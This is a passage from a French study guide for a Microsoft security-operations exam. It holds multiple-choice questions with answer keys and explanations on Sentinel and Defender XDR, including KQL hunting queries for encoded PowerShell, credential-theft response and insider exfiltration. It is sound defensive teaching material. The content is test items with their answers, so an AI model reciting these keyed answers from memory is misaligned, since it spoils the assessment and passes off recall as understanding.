| where FileName in~ ("powershell.exe", "pwsh.exe") and ProcessCommandLine has_any ("-enc", "-encodedcommand")
| extend DeviceName = tolower(DeviceName)
| join kind=leftanti (Serveurs) on DeviceName
| union (
    DeviceProcessEvents
    | where TimeGenerated > ago(1h)
    | where FileName in~ ("powershell.exe", "pwsh.exe") and ProcessCommandLine has_any ("-enc", "-encodedcommand")
    | where InitiatingProcessFileName !~ "DeployAgent.exe"
  )
| distinct TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where ProcessCommandLine has_any ("-enc", "-encodedcommand")
| where DeviceName !startswith "SRV"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessFileName !~ "DeployAgent.exe"
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName in~ ("powershell.exe", "pwsh.exe") and ProcessCommandLine has_any ("-enc", "-
encodedcommand")
| where AccountName == "inconnu"
```

**Bonne réponse : A**

### Correction détaillée

L'exclusion doit cibler **la combinaison** légitime (agent de déploiement **sur** les serveurs de déploiement). La requête conserve les exécutions encodées hors serveurs de déploiement (`leftanti` avec la watchlist) et, sur ces serveurs, celles qui ne proviennent pas de DeployAgent.exe (`union`), puis dédoublonne.

### Analyse des réponses incorrectes

- **B.** Exclut tous les serveurs (dont des serveurs critiques) au lieu de la seule combinaison légitime.
- **C.** Supprime aussi le filtre sur les commandes encodées : la règle remonterait toute exécution PowerShell.
- **D.** Filtre arbitraire qui supprimerait presque toutes les détections.

### Explication technique

Une formulation plus simple utilise `lookup` avec la watchlist puis un filtre `where not(isnotempty(Marque) and InitiatingProcessFileName =~ "DeployAgent.exe")`. L'essentiel : ne pas exclure trop large (tous les serveurs, tout l'agent partout).

### Résultat attendu

Les exécutions PowerShell encodées, à l'exception de celles lancées par DeployAgent.exe sur les serveurs de déploiement.

### Amélioration proposée

Vérifier aussi la signature et le chemin de DeployAgent.exe (un attaquant pourrait usurper ce nom) avec `InitiatingProcessFolderPath`.

**Point à retenir pour l'examen :** Exclusion ciblée = combinaison précise (processus légitime + actifs listés), jamais une exclusion large.

### Référence officielle

- Listes de surveillance dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/watchlists
- lookup, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/lookup-operator?view=microsoft-sentinel

## Question n° 424 — Scénario E3 — Tester avant de déployer

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario E (suite) :** avant de mettre en production la nouvelle version de la règle, comment évaluer son volume d'alertes ?

**A.** Ajouter une règle d'automatisation qui ferme tout.

**B.** Désactiver toutes les autres règles pendant le test.

**C.** Utiliser la simulation de résultats de l'assistant de règle (« Test with current data ») et exécuter la requête sur une période représentative pour estimer le nombre d'alertes.

**D.** Déployer directement en production et attendre une semaine.

**Bonne réponse : C**

**Correction détaillée**

L'assistant de création de règles planifiées affiche une **simulation** du nombre de résultats sur les données actuelles. Exécuter la requête manuellement sur plusieurs jours confirme le volume et la pertinence.

**Analyse des réponses incorrectes**

- **A.** Masquerait le problème.
- **B.** Inutile et dangereux.
- **D.** On découvrirait le bruit trop tard.

**Explication technique**

Les modifications de règles devraient passer par un dépôt (Repositories) avec revue. Une règle peut être créée **désactivée** puis activée après validation.

**Point à retenir pour l'examen :** Tester une règle = simulation de l'assistant + exécution sur une période représentative.

**Référence officielle**

- Créer une règle d'analyse planifiée à partir de zéro — https://learn.microsoft.com/fr-fr/azure/sentinel/create-analytics-rules

## Question n° 425 — Scénario E4 — Regroupement et réduction des incidents

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario E (suite) :** même après ajustement, un vrai positif génère une alerte par exécution PowerShell, créant 15 incidents pour une seule intrusion. **Question :** quel paramètre améliore la lisibilité sans perdre d'information ?

**A.** Le passage en seuil « plus de 15 résultats ».

**B.** La suppression de la règle pendant 24 heures après la première alerte.

**C.** La réduction de la gravité.

**D.** Le regroupement des alertes en incidents par entités correspondantes (Host et Account) sur une fenêtre de quelques heures.

**Bonne réponse : D**

**Correction détaillée**

Le **regroupement d'alertes** (paramètres d'incident) rattache les alertes partageant des entités à un même incident, ce qui conserve toutes les alertes tout en réduisant le nombre d'incidents.

**Analyse des réponses incorrectes**

- **A.** Retarderait la détection.
- **B.** On perdrait les alertes suivantes de l'intrusion.
- **C.** Ne regroupe rien.

**Explication technique**

Dans le portail Defender, la corrélation XDR peut aussi rattacher ces alertes à d'autres signaux de l'intrusion. Bien choisir les entités pour éviter les regroupements abusifs.

**Point à retenir pour l'examen :** Trop d'incidents pour une même attaque = regroupement d'alertes par entités.

**Référence officielle**

- Associer des alertes à des incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/relate-alerts-to-incidents

## Question n° 426 — Scénario E5 — Suivi de la qualité

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario E (suite) :** le responsable SOC veut suivre chaque semaine le taux de faux positifs par règle analytique. **Question :** quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(30d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed"
| mv-expand RegleId = RelatedAnalyticRuleIds to typeof(string)
| summarize Total = count(), FauxPositifs = countif(Classification == "FalsePositive") by
RegleId, Semaine = startofweek(CreatedTime)
| extend TauxFP = round(100.0 * FauxPositifs / Total, 1)
| order by Semaine desc, TauxFP desc
```

**B.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(30d)
| summarize count() by AlertName
```

**C.**

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| summarize sum(Quantity) by DataType
```

**D.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(30d)
| summarize count() by Classification
```

**Bonne réponse : A**

**Correction détaillée**

Après déduplication (`arg_max`), on développe **RelatedAnalyticRuleIds** (règles ayant contribué à l'incident) puis on calcule, par règle et par semaine (`startofweek`), le nombre total d'incidents clos et la part de faux positifs (`countif`).

**Analyse des réponses incorrectes**

- **B.** Volume d'alertes sans notion de classification.
- **C.** Volumes d'ingestion, sans lien avec la qualité des règles.
- **D.** Comptage global, sans déduplication ni répartition par règle.

**Explication technique**

Joindre ensuite l'identifiant de règle à son nom (via l'API ou SentinelHealth/SentinelAudit) pour le rapport. Un taux élevé et persistant déclenche une révision de la règle ; les classifications doivent être renseignées rigoureusement par les analystes.

**Résultat attendu**

Pour chaque règle et chaque semaine, le nombre d'incidents clos, de faux positifs et le taux.

**Point à retenir pour l'examen :** Qualité des détections = SecurityIncident dédupliquée × RelatedAnalyticRuleIds × Classification.

**Référence officielle**

- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident
- arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel

## 6.6 Scénario F — Activité détectée simultanément par plusieurs produits Defender

### Question n° 427 — Scénario F1 — Lecture de l'incident multi-produits

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario F :** un incident Defender XDR regroupe : MDI « Suspected overpass-the-hash attack (Kerberos) » depuis PC-0712, MDE « Suspicious process injection » sur PC-0712, et MDCA « Activity from infrequent country » pour le compte adm.martin. **Question :** quelle lecture est la plus pertinente ?

**A.** Trois incidents distincts que Defender XDR a regroupés par erreur.

**B.** Une même attaque observée sous trois angles : le poste PC-0712 est compromis, des identifiants (dont ceux d'adm.martin) ont été volés et réutilisés sur le réseau, puis dans le cloud.

**C.** Une simple mise à jour de Windows.

**D.** Un problème de licence Defender.

**Bonne réponse : B**

**Correction détaillée**

La **corrélation XDR** relie les signaux par entités communes : **appareil** (PC-0712, MDE et MDI) et **compte** (adm.martin, MDI et MDCA). L'histoire de l'attaque se lit : compromission du poste → vol d'identifiants (overpass-the-hash, T1550.002) → usage cloud.

**Analyse des réponses incorrectes**

- **A.** Les entités communes (appareil, compte) et l'enchaînement logique justifient la corrélation.
- **C.** Aucun signal ne correspond à une mise à jour.
- **D.** Sans rapport.

**Explication technique**

L'onglet **Histoire de l'attaque** et le graphe de l'incident visualisent ces liens. Copilot peut résumer l'incident. Les réponses doivent couvrir les trois plans : poste, identité locale, identité cloud.

**Point à retenir pour l'examen :** Incident multi-produits = une attaque vue sous plusieurs angles ; répondre sur chaque plan (poste, AD, cloud).

**Référence officielle**

- Corrélation des alertes et fusion des incidents dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/alerts-incidents-correlation

- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## Question n° 428 — Scénario F2 — Ordre des actions de réponse

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario F (suite) :** quelle séquence de réponse est la plus cohérente ?

**A.** Isoler PC-0712 → désactiver/contenir le compte adm.martin (AD et Entra ID) et révoquer ses sessions → investiguer l'étendue (autres appareils et comptes) → éradiquer et réinitialiser les identifiants exposés.

**B.** Réinitialiser le mot de passe d'adm.martin → attendre 24 heures → isoler PC-0712.

**C.** Réimager PC-0712 immédiatement → investiguer ensuite.

**D.** Fermer l'alerte MDCA → isoler PC-0712 dans une semaine.

**Bonne réponse : A**

### Correction détaillée

On **contient** d'abord les sources actives (poste compromis, compte volé), on **investigue** l'étendue (autres victimes du vol d'identifiants), puis on **éradique** (persistances, réinitialisations) et on **restaure**.

### Analyse des réponses incorrectes

- **B.** Le poste compromis continue de voler des identifiants pendant 24 heures.
- **C.** Les preuves sont détruites avant l'investigation.
- **D.** Délai inacceptable.

### Explication technique

Le vol d'identifiants sur un poste implique de réinitialiser **tous** les comptes ayant ouvert une session sur ce poste depuis la compromission (pas seulement adm.martin). DeviceLogonEvents permet de les lister.

**Point à retenir pour l'examen :** Contenir (poste + compte) → investiguer l'étendue → éradiquer (tous les identifiants exposés).

### Référence officielle

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Actions de correction dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/remediation-actions

## Question n° 429 — Scénario F3 — Comptes exposés sur le poste

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario F (suite) :** quels comptes ont ouvert une session sur PC-0712 depuis le début de la compromission (estimé au 3 octobre à 14 h) et doivent être considérés comme exposés ? **Question :** quelle requête utiliser ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where FileName =~ "explorer.exe"
```

**B.**

REQUÊTE KQL

```
IdentityInfo
| where Department == "IT"
```

**C.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where DeviceName =~ "pc-0712"
| where ActionType == "LogonSuccess"
| summarize Sessions = count(), Types = make_set(LogonType), Derniere = max(Timestamp) by
AccountDomain, AccountName
| order by Derniere desc
```

**D.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(30d)
| summarize count() by DeviceName
```

**Bonne réponse : C**

**Correction détaillée**

**DeviceLogonEvents** liste les ouvertures de session réussies sur l'appareil ; tous les comptes connectés après la compromission (interactifs, RDP, services, mais aussi réseau selon les techniques) peuvent avoir leurs identifiants en mémoire et doivent être réinitialisés.

**Analyse des réponses incorrectes**

- **A.** Exécutions de l'Explorateur, sans liste des comptes ayant ouvert une session.
- **B.** Liste des comptes IT, sans lien avec le poste compromis.
- **D.** Volume de sessions par appareil, sans liste de comptes pour PC-0712.

**Explication technique**

Les sessions de type Interactive, RemoteInteractive, CachedInteractive laissent des identifiants réutilisables en mémoire (LSASS). Les comptes de service et administrateurs sont prioritaires.

**Résultat attendu**

Les comptes ayant ouvert une session sur PC-0712 depuis le 3 octobre 14 h, avec les types de session et la dernière session.

**Point à retenir pour l'examen :** Poste à vol d'identifiants : réinitialiser tous les comptes connectés depuis la compromission.

**Référence officielle**

- DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table

## Question n° 430 — Scénario F4 — Visualiser le rayon d'impact

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario F (suite) :** le RSSI demande ce qu'adm.martin pouvait atteindre (serveurs, données, rôles cloud). **Question :** quel outil fournit le plus directement cette vue ?

**A.** Le graphe de chasse (hunting graph) / graphe Sentinel, qui représente les relations entre le compte, les appareils, les ressources et les permissions, et permet d'évaluer le rayon d'impact.

**B.** Le rapport de filtrage web.

**C.** Le tableau de bord de conformité réglementaire.

**D.** La table Usage.

**Bonne réponse : A**

### Correction détaillée

Le **graphe de chasse** et le **graphe Sentinel** modélisent les **relations** (sessions, droits d'administration, appartenances, accès aux ressources) et répondent aux questions de **rayon d'impact** (blast radius) d'un compte compromis.

### Analyse des réponses incorrectes

- **B.** Il concerne la navigation des postes.
- **C.** Il évalue la conformité de configuration.
- **D.** Elle mesure les volumes ingérés.

### Explication technique

Le référentiel cite « Créer des graphes de chasse, y compris le rayon d'impact ». Les chemins de mouvement latéral (MDI) et les chemins d'attaque (Exposure Management, Defender CSPM) apportent des informations complémentaires.

**Point à retenir pour l'examen :** « Que pouvait atteindre ce compte ? » = graphe de chasse / graphe Sentinel (rayon d'impact).

### Référence officielle

- Rechercher les menaces à l'aide du graphique de chasse — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-graph
- Qu'est-ce que le graphe Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-graph-overview

## Question n° 431 — Scénario F5 — Clôture et classification

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario F (suite) :** l'attaque est confirmée, contenue et éradiquée. **Question :** quelle classification attribuer à l'incident ?

**A.** Vrai positif – logiciel indésirable.

**B.** Vrai positif – attaque multiétape (Multistage attack).

**C.** Informationnel – activité attendue.

**D.** Faux positif – non malveillant.

**Bonne réponse : B**

### Correction détaillée

Une intrusion enchaînant compromission d'appareil, vol d'identifiants, mouvement latéral et usage cloud correspond à la détermination **attaque multiétape** des vrais positifs.

### Analyse des réponses incorrectes

- **A.** Ne décrit pas une intrusion avec vol d'identifiants et mouvement latéral.
- **C.** L'activité n'était pas autorisée.
- **D.** L'attaque est confirmée.

### Explication technique

La classification précise alimente les rapports et l'apprentissage des détections. Joindre le rapport d'incident et les leçons apprises au cas.

**Point à retenir pour l'examen :** Intrusion en plusieurs étapes confirmée = Vrai positif – attaque multiétape.

**Référence officielle**

- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents

## 6.7 Scénario G — Exfiltration potentielle de données

### Question n° 432 — Scénario G1 — Signal initial

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario G :** une alerte DLP Purview signale qu'un ingénieur a chargé 40 fichiers étiquetés « Confidentiel » vers un site de partage personnel ; MDCA signale un « Mass download » sur SharePoint pour le même utilisateur la veille. Il a démissionné la semaine précédente. **Question :** quelle approche est la plus appropriée ?

**A.** Ignorer les alertes car l'utilisateur part bientôt.

**B.** Publier l'information auprès de toute l'équipe.

**C.** Supprimer immédiatement le compte et tous ses fichiers.

**D.** Traiter le cas comme un risque interne probable : préserver les preuves, impliquer RH/juridique selon la procédure, mesurer précisément les données concernées, puis limiter les accès de l'utilisateur.

**Bonne réponse : D**

**Correction détaillée**

Les signaux **DLP** et **MDCA** combinés au **contexte RH** (départ) évoquent un **risque interne** (exfiltration T1567). La réponse implique la préservation des preuves (conservation eDiscovery, audit), l'implication **RH/juridique**, et des mesures proportionnées (restriction d'accès, révocation des sessions).

**Analyse des réponses incorrectes**

- **A.** C'est précisément un facteur de risque.
- **B.** Contraire à la confidentialité de l'enquête.
- **C.** Destruction de preuves et action non conforme aux procédures RH/juridiques.

**Explication technique**

Insider Risk Management (Purview) peut fournir des indicateurs supplémentaires (départ, téléchargements, impression, USB) avec pseudonymisation. Les alertes DLP et MDCA apparaissent dans les incidents Defender XDR.

**Point à retenir pour l'examen :** Exfiltration par un initié : preuves, RH/juridique, mesure précise des données, puis restriction des accès.

**Référence officielle**

- Prise en main du tableau de bord Alertes de protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-alerts-dashboard-get-started
- Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy

### Question n° 433 — Scénario G2 — Mesurer l'exfiltration

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario G (suite) :** vous devez lister les fichiers téléchargés par l'utilisateur depuis SharePoint/OneDrive au cours des 14 derniers jours, avec les volumes par site. **Question :** quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| where AccountDisplayName == "Julien Fabre"
| where ActionType in ("FileDownloaded", "FileSyncDownloadedFull")
| extend Site = tostring(RawEventData.SiteUrl), Fichier = tostring(RawEventData.SourceFileName)
| summarize Fichiers = dcount(Fichier), Liste = make_set(Fichier, 50) by Site, bin(Timestamp, 1d)
```

**B.**

REQUÊTE KQL

```
CloudAppEvents
| where Timestamp > ago(14d)
| summarize count() by Application
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(14d)
| where SenderFromAddress has "julien"
```

**D.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(14d)
| where AccountName == "jfabre"
```

**Bonne réponse : A**

### Correction détaillée

**CloudAppEvents** contient les activités Microsoft 365 ; les téléchargements (FileDownloaded, synchronisations) et les détails de l'objet sont dans **RawEventData** (dynamique), d'où l'extraction de SiteUrl et SourceFileName.

### Analyse des réponses incorrectes

- **B.** Statistiques globales par application.
- **C.** Messages envoyés, pas téléchargements depuis SharePoint.
- **D.** Ouvertures de session sur les appareils.

### Explication technique

Les noms de propriétés de RawEventData suivent le schéma du journal d'audit Microsoft 365 ; vérifier leur présence dans vos données. Compléter avec les étiquettes de confidentialité et les alertes DLP pour qualifier la sensibilité.

### Résultat attendu

Pour chaque site et chaque jour, le nombre de fichiers distincts téléchargés et leur liste (≤ 50).

### Hypothèses liées au schéma de données

Hypothèse : RawEventData contient SiteUrl et SourceFileName (schéma d'audit SharePoint).

**Point à retenir pour l'examen :** Téléchargements Microsoft 365 = CloudAppEvents (RawEventData pour le détail des objets).

### Référence officielle

- CloudAppEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-cloudappevents-table

## Question n° 434 — Scénario G3 — Canal d'exfiltration réseau

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario G (suite) :** vous soupçonnez aussi un transfert depuis le poste de l'utilisateur vers un service de transfert de fichiers. **Question :** quelle source et quel indicateur examiner ?

**A.** IdentityQueryEvents.

**B.** Les recommandations de Defender for Cloud.

**C.** DeviceNetworkEvents et Cloud Discovery (MDCA) : connexions du poste vers des services de partage de fichiers et volumes chargés par application cloud.

**D.** La table Heartbeat.

**Bonne réponse : C**

**Correction détaillée**

Les connexions sortantes du poste (DeviceNetworkEvents : RemoteUrl, InitiatingProcessFileName) et **Cloud Discovery** (applications cloud utilisées, octets chargés) révèlent les canaux d'exfiltration web.

**Analyse des réponses incorrectes**

- **A.** Requêtes de reconnaissance vers les contrôleurs de domaine.
- **B.** Configuration des ressources cloud.
- **D.** Disponibilité des agents.

**Explication technique**

La DLP des terminaux peut bloquer ou auditer le chargement de fichiers étiquetés vers des domaines non autorisés. Les applications marquées non approuvées dans MDCA peuvent être bloquées via MDE.

**Point à retenir pour l'examen :** Exfiltration web depuis un poste = DeviceNetworkEvents + Cloud Discovery (volumes par application).

**Référence officielle**

- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table

## Question n° 435 — Scénario G4 — Mesures conservatoires

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario G (suite) :** le juridique valide des mesures conservatoires. **Question :** lesquelles sont appropriées ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Supprimer définitivement son OneDrive pour éviter d'autres fuites.

**B.** Placer la boîte aux lettres et le OneDrive de l'utilisateur sous conservation eDiscovery.

**C.** Désactiver la journalisation d'audit pour ne pas l'alerter.

**D.** Envoyer à l'utilisateur la liste des alertes le concernant.

**E.** Révoquer ses sessions et restreindre ses accès (par exemple suspension du compte ou retrait des accès aux sites sensibles) selon la décision RH/juridique.

**Bonne réponse : B, E**

**Correction détaillée**

La **conservation eDiscovery** préserve les preuves ; la **révocation des sessions** et la **restriction des accès** stoppent l'exfiltration. Ces mesures doivent suivre la procédure validée par RH et juridique.

**Analyse des réponses incorrectes**

- **A.** Destruction de preuves.
- **C.** Supprime la traçabilité.

- **D.** Pourrait compromettre l'enquête ; la communication relève des RH/juridique.

**Explication technique**

MDCA permet de suspendre l'utilisateur ou d'exiger une nouvelle connexion ; les actions sont tracées. Documenter chaque décision.

**Point à retenir pour l'examen :** Risque interne : conservation eDiscovery + restriction/révocation des accès, sous contrôle RH/juridique.

**Référence officielle**

- En savoir plus sur eDiscovery — https://learn.microsoft.com/fr-fr/purview/edisc
- Régir les actions pour les applications connectées dans Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/governance-actions

## Question n° 436 — Scénario G5 — Prévention

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario G (suite) :** pour prévenir ce type de fuite, quelles mesures recommander ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Des stratégies DLP (Microsoft 365 et terminaux) bloquant le partage et le chargement de contenus étiquetés « Confidentiel » vers des destinations non autorisées.

**B.** L'augmentation de la taille maximale des pièces jointes.

**C.** L'interdiction totale de SharePoint.

**D.** Le blocage des applications de stockage personnel non approuvées via Defender for Cloud Apps et Defender for Endpoint.

**E.** La désactivation des étiquettes de confidentialité.

**Bonne réponse : A, D**

**Correction détaillée**

La **DLP** (Purview, terminaux) applique des contrôles fondés sur la sensibilité ; le **blocage des applications non approuvées** coupe les canaux d'exfiltration vers le cloud personnel.

**Analyse des réponses incorrectes**

- **B.** Faciliterait au contraire les fuites par e-mail.
- **C.** Disproportionné et nuisible à l'activité.
- **E.** Supprimerait la base de la protection des données.

**Explication technique**

Compléter par Insider Risk Management (stratégies « départ d'employé ») et des alertes Sentinel combinant téléchargement massif et indicateur de départ (watchlist alimentée par les RH).

**Point à retenir pour l'examen :** Prévention des fuites : DLP fondée sur les étiquettes + blocage des applications non approuvées.

**Référence officielle**

- En savoir plus sur la protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-learn-about-dlp
- Intégrer Microsoft Defender pour point de terminaison à Microsoft Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/mde-integration

## 6.8 Scénario H — Requête KQL aux résultats incomplets

### Question n° 437 — Scénario H1 — Résultats manquants dans une jointure

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario H :** un analyste relie des alertes à des connexions avec `SecurityAlert | join (SigninLogs) on $left.Upn == $right.UserPrincipalName`. Plusieurs alertes du même utilisateur n'apparaissent qu'une seule fois dans les résultats. **Question :** quelle est la cause la plus probable ?

**A.** SigninLogs ne contient pas la colonne UserPrincipalName.

**B.** La jointure par défaut innerunique déduplique la table de gauche sur la clé : seules certaines alertes de chaque utilisateur sont conservées ; il faut préciser `kind=inner`.

**C.** Les alertes sont supprimées par Sentinel après 24 heures.

**D.** Les jointures ne fonctionnent qu'entre tables de même type.

**Bonne réponse : B**

#### Correction détaillée

La saveur **innerunique** (par défaut) supprime les doublons de clé dans la table de **gauche** avant la jointure : plusieurs alertes d'un même utilisateur se réduisent à une seule. **kind=inner** conserve toutes les combinaisons.

#### Analyse des réponses incorrectes

- **A.** Elle existe.
- **C.** Elles ne sont pas supprimées ainsi.
- **D.** Les jointures sont possibles entre toutes tables.

#### Explication technique

Toujours spécifier `kind` dans les requêtes de sécurité. Vérifier aussi la casse des clés (tolower) et le type (tostring pour les valeurs dynamiques).

**Point à retenir pour l'examen :** Lignes de gauche « disparues » dans une jointure = innerunique par défaut → `kind=inner`.

#### Référence officielle

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

### Question n° 438 — Scénario H2 — Période de requête trop courte

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario H (suite) :** une requête de chasse avancée sur 90 jours (`where Timestamp > ago(90d)`) ne renvoie que des événements des 30 derniers jours pour DeviceProcessEvents. **Question :** quelle en est la cause ?

**A.** L'opérateur `ago()` est limité à 30 jours.

**B.** La requête contient une erreur de syntaxe.

**C.** DeviceProcessEvents n'enregistre que les processus Microsoft.

**D.** La rétention par défaut des données de chasse avancée Defender XDR est de 30 jours ; au-delà, il faut des données conservées dans Sentinel (niveau Analytics ou data lake).

**Bonne réponse : D**

**Correction détaillée**

La chasse avancée conserve **30 jours** de données brutes XDR. Pour une profondeur plus grande, les tables doivent être **ingérées/conservées** dans Sentinel (rétention Analytics prolongée ou data lake, interrogeable par KQL ou jobs KQL).

**Analyse des réponses incorrectes**

- **A.** `ago()` accepte n'importe quelle durée.
- **B.** La requête fonctionne : ce sont les données qui manquent.
- **C.** Elle enregistre toutes les créations de processus.

**Explication technique**

Dans le portail Defender avec Sentinel connecté, les tables XDR peuvent voir leur rétention étendue via la gestion des tables. Planifier cette rétention avant d'en avoir besoin.

**Point à retenir pour l'examen :** Chasse avancée = 30 jours ; au-delà → Sentinel (Analytics ou data lake).

**Référence officielle**

- ago() — https://learn.microsoft.com/fr-fr/kusto/query/ago-function?view=microsoft-sentinel

## Question n° 439 — Scénario H3 — Comparaison sensible à la casse

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario H (suite) :** `DeviceProcessEvents | where FileName == "PowerShell.exe"` ne renvoie presque rien alors que PowerShell est très utilisé. **Question :** quelle correction appliquer ?

**A.** Utiliser `where FileName has_cs "PowerShell"`.

**B.** Ajouter `| take 1000`.

**C.** Utiliser une comparaison insensible à la casse : `where FileName =~ "powershell.exe"` (ou `in~` pour une liste).

**D.** Utiliser `where FileName = "PowerShell.exe"`.

**Bonne réponse : C**

**Correction détaillée**

`==` est **sensible à la casse** ; les noms de fichiers sont généralement enregistrés en minuscules (powershell.exe). `=~` compare sans tenir compte de la casse.

**Analyse des réponses incorrectes**

- **A.** Toujours sensible à la casse.
- **B.** Ne change rien au filtre.
- **D.** `=` n'est pas un opérateur de comparaison.

**Explication technique**

Bonnes pratiques : `=~`, `in~`, `has` (insensible) pour les chaînes de casse variable ; `==`/`has_cs` lorsque la casse est connue (plus performants).

**Point à retenir pour l'examen :** Résultats incomplets sur des chaînes = vérifier la casse (`=~`, `in~`).

**Référence officielle**

- Opérateurs de chaîne — https://learn.microsoft.com/fr-fr/kusto/query/datatypes-string-operators?view=microsoft-sentinel

## Question n° 440 — Scénario H4 — Données dans une autre table

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario H (suite) :** une requête sur SigninLogs ne montre aucune activité de l'attaquant après 9 h, alors que l'attaquant a accédé à Exchange jusqu'à 11 h avec un jeton volé. **Question :** pourquoi ?

**A.** SigninLogs est limité à 2 heures de données.

**B.** Les accès par renouvellement de jeton sont des connexions non interactives, enregistrées dans AADNonInteractiveUserSignInLogs, pas dans SigninLogs.

**C.** L'attaquant a supprimé les journaux de SigninLogs.

**D.** Exchange n'utilise pas Microsoft Entra ID.

**Bonne réponse : B**

**Correction détaillée**

